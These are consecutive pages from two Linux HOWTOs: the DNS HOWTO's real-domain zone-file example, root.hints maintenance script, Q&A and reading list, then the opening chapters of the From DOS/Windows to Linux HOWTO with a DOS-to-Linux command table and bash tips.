Dave Lugo has described a secure dual chroot setup http://www.etherboy.com/dns/chrootdns.html which you may find interesting to read, it makes the host your run your named on even more secure.


DNS HOWTO : A real domain example

 Next Previous Contents

7. A real domain example

Where we list some real zone files

Users have suggested that I include a real example of a working domain as well as the tutorial example.

I use this example with permission from David Bullock of LAND-5. These files were current 24th of September 1996, and were then edited to fit BIND 8 restrictions and use extensions by me. So, what you see here differs a bit from what you find if you query LAND-5's name servers now.

7.1 /etc/named.conf (or /var/named/named.conf)

Here we find master zone sections for the two reverse zones needed: the 127.0.0 net, as well as LAND-5's 206.6.177 subnet, and a primary line for land-5's forward zone land-5.com. Also note that instead of stuffing the files in a directory called pz, as I do in this HOWTO, he puts them in a directory called zone.

// Boot file for LAND-5 name server

options {
        directory "/var/named";
};

controls {
        inet 127.0.0.1 allow { localhost; } keys { rndc_key; };
};

key "rndc_key" {
        algorithm hmac-md5;
        secret "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
};

zone "." {
        type hint;
        file "root.hints";
};

zone "0.0.127.in-addr.arpa" {
        type master;
        file "zone/127.0.0";
};

zone "land-5.com" {
        type master;
        file "zone/land-5.com";
};

zone "177.6.206.in-addr.arpa" {
        type master;
        file "zone/206.6.177";
};

If you put this in your named.conf file to play with PLEASE put ``notify no;'' in the zone sections for the two land-5 zones so as to avoid accidents.

7.2 /var/named/root.hints

Keep in mind that this file is dynamic, and the one listed here is old. You're better off using a new one as explained earlier.

; <<>> DiG 8.1 <<>> @A.ROOT-SERVERS.NET.
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10
;; flags: qr aa rd; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13
;; QUERY SECTION:
;;      ., type = NS, class = IN

;; ANSWER SECTION:
.                       6D IN NS        G.ROOT-SERVERS.NET.
.                       6D IN NS        J.ROOT-SERVERS.NET.
.                       6D IN NS        K.ROOT-SERVERS.NET.
.                       6D IN NS        L.ROOT-SERVERS.NET.
.                       6D IN NS        M.ROOT-SERVERS.NET.
.                       6D IN NS        A.ROOT-SERVERS.NET.
.                       6D IN NS        H.ROOT-SERVERS.NET.
.                       6D IN NS        B.ROOT-SERVERS.NET.
.                       6D IN NS        C.ROOT-SERVERS.NET.
.                       6D IN NS        D.ROOT-SERVERS.NET.
.                       6D IN NS        E.ROOT-SERVERS.NET.
.                       6D IN NS        I.ROOT-SERVERS.NET.
.                       6D IN NS        F.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
G.ROOT-SERVERS.NET.     5w6d16h IN A    192.112.36.4
J.ROOT-SERVERS.NET.     5w6d16h IN A    198.41.0.10
K.ROOT-SERVERS.NET.     5w6d16h IN A    193.0.14.129
L.ROOT-SERVERS.NET.     5w6d16h IN A    198.32.64.12
M.ROOT-SERVERS.NET.     5w6d16h IN A    202.12.27.33
A.ROOT-SERVERS.NET.     5w6d16h IN A    198.41.0.4
H.ROOT-SERVERS.NET.     5w6d16h IN A    128.63.2.53
B.ROOT-SERVERS.NET.     5w6d16h IN A    128.9.0.107
C.ROOT-SERVERS.NET.     5w6d16h IN A    192.33.4.12
D.ROOT-SERVERS.NET.     5w6d16h IN A    128.8.10.90
E.ROOT-SERVERS.NET.     5w6d16h IN A    192.203.230.10
I.ROOT-SERVERS.NET.     5w6d16h IN A    192.36.148.17
F.ROOT-SERVERS.NET.     5w6d16h IN A    192.5.5.241

;; Total query time: 215 msec
;; FROM: roke.uio.no to SERVER: A.ROOT-SERVERS.NET.  198.41.0.4
;; WHEN: Sun Feb 15 01:22:51 1998
;; MSG SIZE  sent: 17  rcvd: 436

7.3 /var/named/zone/127.0.0

Just the basics, the obligatory SOA record, and a record that maps 127.0.0.1 to localhost. Both are required. No more should be in this file. It will probably never need to be updated, unless your nameserver or hostmaster address changes.

$TTL 3D
@               IN      SOA     land-5.com. root.land-5.com. (
                                199609203       ; Serial
                                28800   ; Refresh
                                7200    ; Retry
                                604800  ; Expire
                                86400)  ; Minimum TTL
                        NS      land-5.com.

1                       PTR     localhost.

If you look at a random BIND installation you will probably find that the $TTL line is missing as it is here. It was not used before, and only version 8.2 of BIND has started to warn about its absence. BIND 9 requires the $TTL.

7.4 /var/named/zone/land-5.com

Here we see the mandatory SOA record, the needed NS records. We can see that he has a secondary name server at ns2.psi.net. This is as it should be, always have a off site secondary server as backup. We can also see that he has a master host called land-5 which takes care of many of the different Internet services, and that he's done it with CNAMEs (a alternative is using A records).

As you see from the SOA record, the zone file originates at land-5.com, the contact person is root@land-5.com. hostmaster is another oft used address for the contact person. The serial number is in the customary yyyymmdd format with todays serial number appended; this is probably the sixth version of zone file on the 20th of September 1996. Remember that the serial number must increase monotonically, here there is only one digit for todays serial#, so after 9 edits he has to wait until tomorrow before he can edit the file again. Consider using two digits.

$TTL 3D
@       IN      SOA     land-5.com. root.land-5.com. (
                        199609206       ; serial, todays date + todays serial #
                        8H              ; refresh, seconds
                        2H              ; retry, seconds
                        4W              ; expire, seconds
                        1D )            ; minimum, seconds
                NS      land-5.com.
                NS      ns2.psi.net.
                MX      10 land-5.com.  ; Primary Mail Exchanger
                TXT     "LAND-5 Corporation"

localhost       A       127.0.0.1

router          A       206.6.177.1

land-5.com.     A       206.6.177.2
ns              A       206.6.177.3
www             A       207.159.141.192

ftp             CNAME   land-5.com.
mail            CNAME   land-5.com.
news            CNAME   land-5.com.

funn            A       206.6.177.2

;
;       Workstations
;
ws-177200       A       206.6.177.200
                MX      10 land-5.com.   ; Primary Mail Host
ws-177201       A       206.6.177.201
                MX      10 land-5.com.   ; Primary Mail Host
ws-177202       A       206.6.177.202
                MX      10 land-5.com.   ; Primary Mail Host
ws-177203       A       206.6.177.203
                MX      10 land-5.com.   ; Primary Mail Host
ws-177204       A       206.6.177.204
                MX      10 land-5.com.   ; Primary Mail Host
ws-177205       A       206.6.177.205
                MX      10 land-5.com.   ; Primary Mail Host
; {Many repetitive definitions deleted - SNIP}
ws-177250       A       206.6.177.250
                MX      10 land-5.com.   ; Primary Mail Host
ws-177251       A       206.6.177.251
                MX      10 land-5.com.   ; Primary Mail Host
ws-177252       A       206.6.177.252
                MX      10 land-5.com.   ; Primary Mail Host
ws-177253       A       206.6.177.253
                MX      10 land-5.com.   ; Primary Mail Host
ws-177254       A       206.6.177.254
                MX      10 land-5.com.   ; Primary Mail Host

If you examine land-5s nameserver you will find that the host names are of the form ws_number. As of late BIND 4 versions named started enforcing the restrictions on what characters may be used in host names. So that does not work with BIND 8 at all, and I substituted '-' (dash) for '_' (underline) for use in this HOWTO. But, as mentioned earlier, BIND 9 no longer enforces this restriction.

Another thing to note is that the workstations don't have individual names, but rather a prefix followed by the two last parts of the IP numbers. Using such a convention can simplify maintenance significantly, but can be a bit impersonal, and, in fact, be a source of irritation among your customers.

We also see that funn.land-5.com is an alias for land-5.com, but using an A record, not a CNAME record.

7.5 /var/named/zone/206.6.177

I'll comment on this file below

$TTL 3D
@               IN      SOA     land-5.com. root.land-5.com. (
                                199609206       ; Serial
                                28800   ; Refresh
                                7200    ; Retry
                                604800  ; Expire
                                86400)  ; Minimum TTL
                        NS      land-5.com.
                        NS      ns2.psi.net.
;
;       Servers
;
1       PTR     router.land-5.com.
2       PTR     land-5.com.
2       PTR     funn.land-5.com.
;
;       Workstations
;
200     PTR     ws-177200.land-5.com.
201     PTR     ws-177201.land-5.com.
202     PTR     ws-177202.land-5.com.
203     PTR     ws-177203.land-5.com.
204     PTR     ws-177204.land-5.com.
205     PTR     ws-177205.land-5.com.
; {Many repetitive definitions deleted - SNIP}
250     PTR     ws-177250.land-5.com.
251     PTR     ws-177251.land-5.com.
252     PTR     ws-177252.land-5.com.
253     PTR     ws-177253.land-5.com.
254     PTR     ws-177254.land-5.com.

The reverse zone is the bit of the setup that seems to cause the most grief. It is used to find the host name if you have the IP number of a machine. Example: you are an FTP server and accept connections from FTP clients. As you are a Norwegian FTP server you want to accept more connections from clients in Norway and other Scandinavian countries and less from the rest of the world. When you get a connection from a client the C library is able to tell you the IP number of the connecting machine because the IP number of the client is contained in all the packets that are passed over the network. Now you can call a function called gethostbyaddr that looks up the name of a host given the IP number. Gethostbyaddr will ask a DNS server, which will then traverse the DNS looking for the machine. Supposing the client connection is from ws-177200.land-5.com. The IP number the C library provides to the FTP server is 206.6.177.200. To find out the name of that machine we need to find 200.177.6.206.in-addr.arpa. The DNS server will first find the arpa. servers, then find in-addr.arpa. servers, following the reverse trail through 206, then 6 and at last finding the server for the 177.6.206.in-addr.arpa zone at LAND-5. From which it will finally get the answer that for 200.177.6.206.in-addr.arpa we have a ``PTR ws-177200.land-5.com'' record, meaning that the name that goes with 206.6.177.200 is ws-177200.land-5.com.

The FTP server prioritizes connections from the Scandinavian countries, i.e., *.no, *.se, *.dk, the name ws-177200.land-5.com clearly does not match any of those, and the server will put the connection in a connection class with less bandwidth and fewer clients allowed. If there was no reverse mapping of 206.2.177.200 through the in-addr.arpa zone the server would have been unable to find the name at all and would have to settle to comparing 206.2.177.200 with *.no, *.se and *.dk, none of which will match at all, it may even deny the connection for lack of classification.

Some people will tell you that reverse lookup mappings are only important for servers, or not important at all. Not so: Many ftp, news, IRC and even some http (WWW) servers will not accept connections from machines of which they are not able to find the name. So reverse mappings for machines are in fact mandatory.


DNS HOWTO : Maintenance

 Next Previous Contents

8. Maintenance

Keeping it working.

There is one maintenance task you have to do on nameds, other than keeping them running. That's keeping the root.hints file updated. The easiest way is using dig. First run dig with no arguments you will get the root.hints according to your own server. Then ask one of the listed root servers with dig @rootserver. You will note that the output looks terribly like a root.hints file. Save it to a file (dig @e.root-servers.net . ns >root.hints.new) and replace the old root.hints with it.

Remember to reload named after replacing the cache file.

Al Longyear sent me this script that can be run automatically to update root.hints. Install a crontab entry to run it once a month and forget it. The script assumes you have mail working and that the mail-alias `hostmaster' is defined. You must hack it to suit your setup.

#!/bin/sh
#
# Update the nameserver cache information file once per month.
# This is run automatically by a cron entry.
#
# Original by Al Longyear
# Updated for BIND 8 by Nicolai Langfeldt
# Miscelanious error-conditions reported by David A. Ranch
# Ping test suggested by Martin Foster
# named up-test suggested by Erik Bryer.
#
(
 echo "To: hostmaster <hostmaster>"
 echo "From: system <root>"

 # Is named up? Check the status of named.
 case `rndc status 2>&1` in
    *refused*)
        echo "named is DOWN. root.hints was NOT updated"
        echo
        exit 0
        ;;
 esac

 PATH=/sbin:/usr/sbin:/bin:/usr/bin:
 export PATH
 # NOTE: /var/named must be writable only by trusted users or this script
 # will cause root compromise/denial of service opportunities.
 cd /var/named 2>/dev/null || {
    echo "Subject: Cannot cd to /var/named, error $?"
    echo
    echo "The subject says it all"
    exit 1
 }

 # Are we online?  Ping a server at your ISP
 case `ping -qnc 1 some.machine.net 2>&1` in
   *'100% packet loss'*)
        echo "Subject: root.hints NOT updated.  The network is DOWN."
        echo
        echo "The subject says it all"
        exit 1
        ;;
 esac

 dig @e.root-servers.net . ns >root.hints.new 2> errors

 case `cat root.hints.new` in
   *NOERROR*)
        # It worked
        :;;
   *)
        echo "Subject: The root.hints file update has FAILED."
        echo
        echo "The root.hints update has failed"
        echo "This is the dig output reported:"
        echo
        cat root.hints.new errors
        exit 1
        ;;
 esac

 echo "Subject: The root.hints file has been updated"
 echo
 echo "The root.hints file has been updated to contain the following
information:"
 echo
 cat root.hints.new

 chown root.root root.hints.new
 chmod 444 root.hints.new
 rm -f root.hints.old errors
 mv root.hints root.hints.old
 mv root.hints.new root.hints
 rndc restart
 echo
 echo "The nameserver has been restarted to ensure that the update is complete."
 echo "The previous root.hints file is now called
/var/named/root.hints.old."
) 2>&1 | /usr/lib/sendmail -t
exit 0

Some of you might have picked up that the root.hints file is also available by ftp from Internic. Please don't use ftp to update root.hints, the above method is much more friendly to the net, and Internic.


DNS HOWTO : Migrating to BIND 9

 Next Previous Contents

9. Migrating to BIND 9

The BIND 9 distribution, and the prepackaged versions too, contains a document called migration that contains notes about how to migrate from BIND 8 to BIND 9. The document is very straight forward. If you installed binary packages it's likely stored in /usr/share/doc/bind* or /usr/doc/bind* somewhere.

If you're running BIND 4, you may find a document called migration-4to9 in the same place.


DNS HOWTO : Questions and Answers

 Next Previous Contents

10. Questions and Answers

Please read this section before mailing me.

  1. My named wants a named.boot file

    You are reading the wrong HOWTO. Please see the old version of this HOWTO, which covers BIND 4, at http://langfeldt.net/DNS-HOWTO/

  2. How do use DNS from inside a firewall?

    A hint: forward only;. You might also need

      query-source port 53;

    inside the ``options'' part of the named.conf file as suggested in the example caching section.

  3. How do I make DNS rotate through the available addresses for a service, say www.busy.site to obtain a load balancing effect, or similar?

    Make several A records for www.busy.site and use BIND 4.9.3 or later. Then BIND will round-robin the answers. It will not work with earlier versions of BIND.

  4. I want to set up DNS on a (closed) intranet. What do I do?

    You drop the root.hints file and just do zone files. That also means you don't have to get new hint files all the time.

  5. How do I set up a secondary (slave) name server?

    If the primary/master server has address 127.0.0.1 you put a line like this in the named.conf file of your secondary:

      zone "linux.bogus" {
        type slave;
        file "sz/linux.bogus";
        masters { 127.0.0.1; };
  };

    You may list several alternate master servers the zone can be copied from inside the masters list, separated by ';' (semicolon).

  6. I want BIND running when I'm disconnected from the net.

    There are four items regarding this:

    • Specific to BIND 8/9, Adam L Rice has sent me this e-mail, about how to run DNS painlessly on a dialup machine:

I have discovered with newer versions of BIND that this
[<em/shuffeling files, -ed/] is no longer necessary.  There is a
"forward" directive in addition to the "forwarders" directive that
controls how they are used.  The default setting is "forward first",
which first asks each of the forwarders, and then tries the normal
approach of doing the legwork itself if that fails.  This gives the
familiar behaviour of gethostbyname() taking an inordinately long time
when the link is not up.  But if "forward only" is set, then BIND
gives up when it doesn't get a response from the forwarders, and
gethostbyname() returns immediately.  Hence there is no need to
perform sleight-of-hand with files in /etc and restart the server.

In my case, I just added the lines

forward only;
forwarders { 193.133.58.5; };

to the options { } section of my named.conf file. It works very
nicely. The only disadvantage of this is that it reduces an incredibly
sophisticated piece of DNS software to the status of a dumb cache. To
some extent, I would just like to run a dumb cache for DNS instead,
but there doesn't seem to be such a piece of software available for
Linux.
    • I have received this mail from Ian Clark <ic@deakin.edu.au> where he explains his way of doing this:
      I run named on my 'Masquerading' machine here. I have
two root.hints files, one called root.hints.real which contains
the real root server names and the other called root.hints.fake
which contains...

----
; root.hints.fake
; this file contains no information
----

When I go off line I copy the root.hints.fake file to root.hints and
restart named.

When I go online I copy root.hints.real to root.hints and restart
named.

This is done from ip-down & ip-up respectively.

The first time I do a query off line on a domain name named doesn't
have details for it puts an entry like this in messages..

Jan 28 20:10:11 hazchem named[10147]: No root nameserver for class IN

which I can live with.

It certainly seems to work for me. I can use the nameserver for
local machines while off the 'net without the timeout delay for
external domain names and I while on the 'net queries for external
domains work normally

      Peter Denison thought that Ian does not go far enough though. He writes:

      When connected) serve all cached (and local network) entries immediately
                for non-cached entries, forward to my ISPs nameserver
When off-line)  serve local network queries immediately
                fail all other queries **immediately**

The combination of changing the root cache file and forwarding queries
doesn't work.

So, I've set up (with some discussion of this on the local LUG) two nameds
as follows:

named-online:   forwards to ISPs nameserver
                master for localnet zone
                master for localnet reverse zone (1.168.192.in-addr.arpa)
                master for 0.0.127.in-addr.arpa
                listens on port 60053

named-offline:  no forwarding
                "fake" root cache file
                slave for 3 local zones (master is 127.0.0.1:60053)
                listens on port 61053

And combined this with port forwarding, to send port 53 to 61053 when
off-line, and to port 60053 when online. (I'm using the new netfilter
package under 2.3.18, but the old (ipchains) mechanism should work.)

Note that this won't quite work out-of-the-box, as there's a slight bug in
BIND 8.2, which I have logged wth the developers, preventing a slave
having a master on the same IP address (even if a different port). It's a
trivial patch, and should go in soon I hope.

    • I have also received information about how BIND interacts with NFS and the portmapper on a mostly offline machine from Karl-Max Wanger:

I use to run my own named on all my machines which are only
occasionally connected to the Internet by modem. The nameserver only
acts as a cache, it has no area of authority and asks back for
everything at the name servers in the root.cache file. As is usual
with Slackware, it is started before nfsd and mountd.

With one of my machines (a Libretto 30 notebook) I had the problem
that sometimes I could mount it from another system connected to my
local LAN, but most of the time it didn't work.  I had the same effect
regardless of using PLIP, a PCMCIA ethernet card or PPP over a serial
interface.

After some time of guessing and experimenting I found out that
apparently named messed with the process of registration nfsd and
mountd have to carry out with the portmapper upon startup (I start
these daemons at boot time as usual). Starting named after nfsd and
mountd eliminated this problem completely.

As there are no disadvantages to expect from such a modified boot
sequence I'd advise everybody to do it that way to prevent potential
trouble.

  7. Where does the caching name server store its cache? Is there any way I can control the size of the cache?

    The cache is completely stored in memory, it is not written to disk at any time. Every time you kill named the cache is lost. The cache is not controllable in any way. named manages it according to some simple rules and that is it. You cannot control the cache or the cache size in any way for any reason. If you want to you can ``fix'' this by hacking named. This is however not recommended.

  8. Does named save the cache between restarts? Can I make it save it?

    No, named does not save the cache when it dies. That means that the cache must be built anew each time you kill and restart named. There is no way to make named save the cache in a file. If you want you can ``fix'' this by hacking named. This is however not recommended.

  9. How can I get a domain? I want to set up my own domain called (for example) linux-rules.net. How can I get the domain I want assigned to me?

    Please contact your network service provider. They will be able to help you with this. Please note that in most parts of the world you need to pay money to get a domain.

  10. How can I secure my DNS server? How do I set up split DNS?

    Both of these are advanced topics. They are both covered in http://www.etherboy.com/dns/chrootdns.html. I will not explain the topics further here.


DNS HOWTO : How to become a bigger time DNS admin.

 Next Previous Contents

11. How to become a bigger time DNS admin.

Documentation and tools.

Real Documentation exists. Online and in print. The reading of several of these is required to make the step from small time DNS admin to a big time one.

I have written The Concise Guide to DNS and BIND (by Nicolai Langfeldt, me), published by Que (ISBN 0-7897-2273-9). The book is much like this HOWTO, just more details, and a lot more of everything. It has also been translated to Polish and published as DNS i BIND by Helion ( http://helion.pl/ksiazki/dnsbin.htm, ISBN 83-7197-446-9). Now in 4th edition is DNS and BIND by Cricket Liu and P. Albitz from O'Reilly & Associates (ISBN 0-937175-82-X, affectionately known as the Cricket book). Another book is Linux DNS Server Administration, by Craig Hunt, published by Sybex (ISBN 0782127363), I have not read it yet. Another must for good DNS administration (or good anything for that matter) is Zen and the Art of Motorcycle Maintenance by Robert M. Pirsig.

Online you will find my book, along with tons of other books, available electronically as a subscription service at http://safari.informit.com/. There is stuff on http://www.dns.net/dnsrd/ (DNS Resources Directory), http://www.isc.org/bind.html; A FAQ, a reference manual (the ARM should be enclosed in the BIND distribution as well) as well as papers and protocol definitions and DNS hacks (these, and most, if not all, of the RFCs mentioned below, are also contained in the BIND distribution). I have not read most of these. The newsgroup news:comp.protocols.tcp-ip.domains is about DNS. In addition there are a number of RFCs about DNS, the most important are probably the ones listed here. Those that have BCP (Best Current Practice) numbers are highly recommended.

RFC 2671

P. Vixie, Extension Mechanisms for DNS (EDNS0) August 1999.

RFC 2317

BCP 20, H. Eidnes et. al. Classless IN-ADDR.ARPA delegation, March 1998. This is about CIDR, or classless subnet reverse lookups.

RFC 2308

M. Andrews, Negative Caching of DNS Queries, March 1998. About negative caching and the $TTL zone file directive.

RFC 2219

BCP 17, M. Hamilton and R. Wright, Use of DNS Aliases for Network Services, October 1997. About CNAME usage.

RFC 2182

BCP 16, R. Elz et. al., Selection and Operation of Secondary DNS Servers, July 1997.

RFC 2052

A. Gulbrandsen, P. Vixie, A DNS RR for specifying the location of services (DNS SRV), October 1996

RFC 1918

Y. Rekhter, R. Moskowitz, D. Karrenberg, G. de Groot, E. Lear, Address Allocation for Private Internets, 02/29/1996.

RFC 1912

D. Barr, Common DNS Operational and Configuration Errors, 02/28/1996.

RFC 1912 Errors

B. Barr Errors in RFC 1912. Only available at http://www.cis.ohio-state.edu/~barr/rfc1912-errors.html

RFC 1713

A. Romao, Tools for DNS debugging, 11/03/1994.

RFC 1712

C. Farrell, M. Schulze, S. Pleitner, D. Baldoni, DNS Encoding of Geographical Location, 11/01/1994.

RFC 1183

R. Ullmann, P. Mockapetris, L. Mamakos, C. Everhart, New DNS RR Definitions, 10/08/1990.

RFC 1035

P. Mockapetris, Domain names - implementation and specification, 11/01/1987.

RFC 1034

P. Mockapetris, Domain names - concepts and facilities, 11/01/1987.

RFC 1033

M. Lottor, Domain administrators operations guide, 11/01/1987.

RFC 1032

M. Stahl, Domain administrators guide, 11/01/1987.

RFC 974

C. Partridge, Mail routing and the domain system, 01/01/1986.


From DOS/Windows to Linux HOWTO

By Guido Gonzato, ggonza at tin.it

Version 1.3.5. 31 August 2000.

This HOWTO is dedicated to all the (soon to be former?) DOS and Windows users who have decided to switch to Linux, the free UNIX clone. The purpose of this document is to help the reader translate his or her knowledge of DOS and Windows into the Linux environment, as well as providing hints on exchanging files and resources between the two OSes.

1. Introduction

  • 1.1 Is Linux Right for You?
  • 1.2 It Is. Tell Me More
  • 1.3 Conventions

2. For the Impatient

3. Meet bash

4. Files and Programs

  • 4.1 Files: Preliminary Notions
  • 4.2 Symbolic Links
  • 4.3 Permissions and Ownership
  • 4.4 Files: Translating Commands
  • 4.5 Running Programs: Multitasking and Sessions
  • 4.6 Running Programs on Remote Computers

5. Using Directories

  • 5.1 Directories: Preliminary Notions
  • 5.2 Directories Permissions
  • 5.3 Directories: Translating Commands

6. Floppies, Hard Disks, and the Like

  • 6.1 Managing Devices the DOS Way
  • 6.2 Managing Devices the UNIX Way
  • 6.3 Backing Up

7. What About Windows?

8. Tailoring the System

  • 8.1 System Initialisation Files
  • 8.2 Program Initialisation Files

9. Networking: Concepts

10. A Bit of Programming

  • 10.1 Shell Scripts: .BAT Files on Steroids
  • 10.2 C for Yourself
  • 10.3 X11 Programming

11. The Remaining 1%

  • 11.1 Running DOS/Windows Apps
  • 11.2 Using tar and gzip
  • 11.3 Installing Applications
  • 11.4 Tips You Can't Do Without
  • 11.5 Where to Find Applications
  • 11.6 A Few Things You Couldn't Do
  • 11.7 Practicing UNIX under DOS/Win
  • 11.8 Common Extensions and Related Programs
  • 11.9 Converting Files
  • 11.10 Free Office Suites

12. The End, for Now

  • 12.1 Copyright
  • 12.2 Disclaimer


From DOS/Windows to Linux HOWTO : Introduction

 Next Previous Contents

1. Introduction

1.1 Is Linux Right for You?

Let's start politically correct. Throughout this document I say ``Linux'', but I mean ``GNU/Linux''. Please go to http://www.gnu.org/gnu/linux-and-gnu.html to see why.

You want to switch from the DOS/Windows world to Linux? Good idea: Linux is technically superior to DOS, Windows 9x and even Windows NT. But beware: it might not be useful for you. These are the main differences between DOS/Windows and Linux:

  • Windows runs Microsoft Office and lots of games; is perceived to be easy to install and configure; is notoriously unstable; performs poorly; crashes are frequent.
  • Linux runs StarOffice, scores of technical software and fewer games; can be tricky to install and configure; is rock solid; performs impeccably; crashes are extremely rare.

It's up to you to decide what you need. Furthermore, Linux gives you power, but it takes some time to learn how to harness it. Thus, if mostly need commercial sw, or if you don't feel like learning new commands and concepts, you had better look elsewhere. Be aware that many newcomers give up because of initial difficulties.

Work is underway to make Linux simpler to use, but don't expect to be proficient with it unless you read a lot of documentation and use it at least for a few months. Linux won't give you instant results. In spite of these warnings, I'm 100% confident that if you are the right user type you'll find in Linux your computer Nirvana. By the way, Linux + DOS/Win can coexist happily on the same machine.

Prerequisites for this howto: I'll assume that

  • you know the basic DOS commands and concepts;
  • Linux, possibly with X Window System (X11 for short), is properly installed on your PC;
  • your shell (the equivalent of COMMAND.COM) is bash.

Unless specified, all information in this work is aimed at bad ol' DOS. There is information about Windows here and there, but bear in mind that Windows and Linux are totally different, unlike DOS that is sort of a UNIX poor relation.

Please also note that this work is neither a complete primer nor a configuration guide!

The latest version of this document is available in several formats on http://www.linuxdoc.org.

1.2 It Is. Tell Me More

You installed Linux and the programs you needed on the PC. You gave yourself an account (if not, type adduser yourname now!) and Linux is running. You've just entered your name and password, and now you are looking at the screen thinking: ``Well, now what?''

Now, don't despair. You're almost ready to do the same things you used to do with DOS/Win, and many more. If you were running DOS/Win instead of Linux, you would be doing some of the following tasks:

  • running programs and creating, copying, viewing, deleting, printing, renaming files;
  • CD'ing, MD'ing, RD'ing, and DIR'ring your directories;
  • formatting floppies and copying files from/to them;
  • tailoring the system;
  • surfing the Internet;
  • writing .BAT files and programs in your favourite language;
  • the remaining 1%.

You'll be glad to know that these tasks can be accomplished under Linux in a fashion similar to DOS. Under DOS, the average user uses very few of the 100+ commands available: the same, up to a point, applies to Linux.

Introductory Concepts

The best way to learn something new is to get your feet wet. You are strongly encouraged to experiment and play with Linux: unless you login as ``root'', you can't damage the system that way. A few points:

  • first of all, how to quit Linux safely. If you see a text mode screen, press <CTRL-ALT-DEL>, wait for the system to reboot, then switch off the PC. If you are working under X Window System, press <CTRL-ALT-BACKSPACE> first, then <CTRL-ALT-DEL>. Never switch off or reset the PC directly: this could damage the file system;
  • unlike DOS or Windows, Linux has built-in security mechanisms. Files and directories have permissions associated to them; as a result, some cannot be accessed by the normal user; (see Section Permissions and Ownership). DOS and Windows, on the contrary, will let you wipe out the entire contents of your hard disk;
  • there's a special user called ``root'': the system administrator, with full power of life and death on the machine. If you work on your own PC, you'll be root as well. Working as root is dangerous: any mistake can seriously damage or destroy the system just like with DOS/Windows. Don't work as root unless absolutely necessary;
  • much of the complexity of Linux comes from its extreme configurability: virtually every feature and every application can be tailored through one or more configuration files. Complexity is the price to pay for power;
  • redirection and piping are a side DOS feature, a very inportant one and much more powerful under Linux. Simple commands can be strung together to accomplish complex tasks. I strongly suggest that you learn how to use them.

Getting Help

There are many ways to get help with Linux. The most important are:

  • reading the documentation---I mean it. Although the HOWTO you are reading may serve as an introduction to Linux, there are several books that you really should read: at least, Matt Welsh's ``Linux Installation and Getting Started'' ( http://www.linuxdoc.org/LDP/gs/gs.html) and the Linux FAQ ( http://www.linuxdoc.org/FAQ/Linux-FAQ/index.html). Feel a guilty conscience until you have read at least one of them;
  • the documentation of the packages installed on the machine is often found in subdirectories under /usr/doc/;
  • to get some help about the ``internal commands'' of the shell, type help or, better, man bash or info bash;
  • to get help about a command, type man command that invokes the manual (``man'') page of command. Alternatively, type info command that invokes, if available, the info page pertinent of command; info is a hypertext-based documentation system, perhaps not intuitive to use at first. Finally, you may try apropos command or whatis command. With all of these commands, press `q' to exit.
  • finally, on the Internet: the right place for getting help is Usenet, like news:comp.os.linux.setup. Please don't email me for help, because I'm quite overloaded.

1.3 Conventions

Throughout this work, examples will often follow the following format: <...> is a required argument, while [...] an optional one. Example:

$ tar -tf <file.tar> [> redir_file]

file.tar must be indicated, but redirection to redir_file is optional.

``RMP'' means ``please Read the Man Pages for further information''. I can't stress enough how important reading the documentation is.

When the prompt of a command example is #, the command can only be performed by root.


From DOS/Windows to Linux HOWTO : For the Impatient

 Next Previous Contents

2. For the Impatient

Want to strike out? Have a look at this table:

DOS                     Linux                   Notes
------------------------------------------------------------------------------

ATTRIB (+-)attr file    chmod <mode> file       completely different
BACKUP                  tar -Mcvf device dir/   ditto
CD dirname\             cd dirname/             almost the same syntax
COPY file1 file2        cp file1 file2          ditto
DEL file                rm file                 beware - no undelete
DELTREE dirname         rm -R dirname/          ditto
DIR                     ls                      not exactly the same syntax
DIR file /S             find . -name file       completely different
EDIT file               vi file                 I think you won't like it
                        jstar file              feels like dos' edit
EDLIN file              ed file                 forget it
FORMAT                  fdformat,
                        mount, umount           quite different syntax
HELP command            man command,            same philosophy
                        info command
MD dirname              mkdir dirname/          almost the same syntax
MORE < file             less file               much better
MOVE file1 file2        mv file1 file2          ditto
NUL                     /dev/null               ditto
PRINT file              lpr file                ditto
PRN                     /dev/lp0,
                        /dev/lp1                ditto
RD dirname              rmdir dirname/          almost the same syntax
REN file1 file2         mv file1 file2          not for multiple files
RESTORE                 tar -Mxpvf device       different syntax
TYPE file               less file               much better
WIN                     startx                  poles apart!

If you need more than a table of commands, please refer to the following sections.


From DOS/Windows to Linux HOWTO : Meet bash

 Next Previous Contents

3. Meet bash

Good news: with Linux you type much less at the prompt, because the bash shell types for you whenever possible, and features cool line editing capabilities. To begin with, the arrow-up key recalls previous command lines; but there's more. Pressing <TAB> completes file and directory names, so typing

$ ls /uTABloTABbTAB

is like typing

$ ls /usr/local/bin

If there were ambiguities, as typing

$ ls /uTABloTABiTAB

bash stops because it doesn't know if you mean /usr/local/info or /usr/local/include. Supply more characters then press <TAB> again.

Other useful key presses are <ESC-BACKSPACE> that deletes a word to the left, while <ESC-D> deletes a word to the right; <ESC-F> moves the cursor one word to the right, <ESC-B> to the left; <CTRL-A> moves to the beginning of the line, <CTRL-E> to the end. The <ALT> key is equivalent to <ESC>.

Enough for now. Once you get used to these shortcuts, you'll find the DOS prompt very annoying...


From DOS/Windows to Linux HOWTO : Files and Programs

 Next Previous Contents

4. Files and Programs

4.1 Files: Preliminary Notions

Linux has a structure of directories and files very similar to that of DOS/Win. Files have filenames that obey special rules, are stored in directories, some are executable, and among these most have command switches. Moreover, you can use wildcard characters, redirection, and piping. There are only a few minor differences:

  • under DOS, file names are in the so-called 8.3 form; e.g. NOTENOUG.TXT. Under Linux we can do better. If you installed Linux using a file system like ext2 or umsdos, you can use longer filenames (up to 255 characters), and with more than one dot: for example, This_is.a.VERY_long.filename. Please note that I used both upper and lower case characters: in fact...
  • upper and lower case characters in file names or commands are different. Therefore, FILENAME.tar.gz and filename.tar.gz are two different files. ls is a command, LS is a mistake;
  • Windows users, beware when using long file names under Linux. If a file name contains spaces (not recommended but possible), you must enclose the file name in double quotes whenever you refer to it. For example:
    $ # the following command makes a directory called "My old files"
$ mkdir "My old files"
$ ls
My old files    bin     tmp
    Further, some characters shouldn't be used: some of those are !*$&#.
  • there are no compulsory extensions like .COM and .EXE for programs, or .BAT for batch files. Executable files are marked by an asterisk `*' at the end of their name when you issue the ls -F command. For example:
    $ ls -F
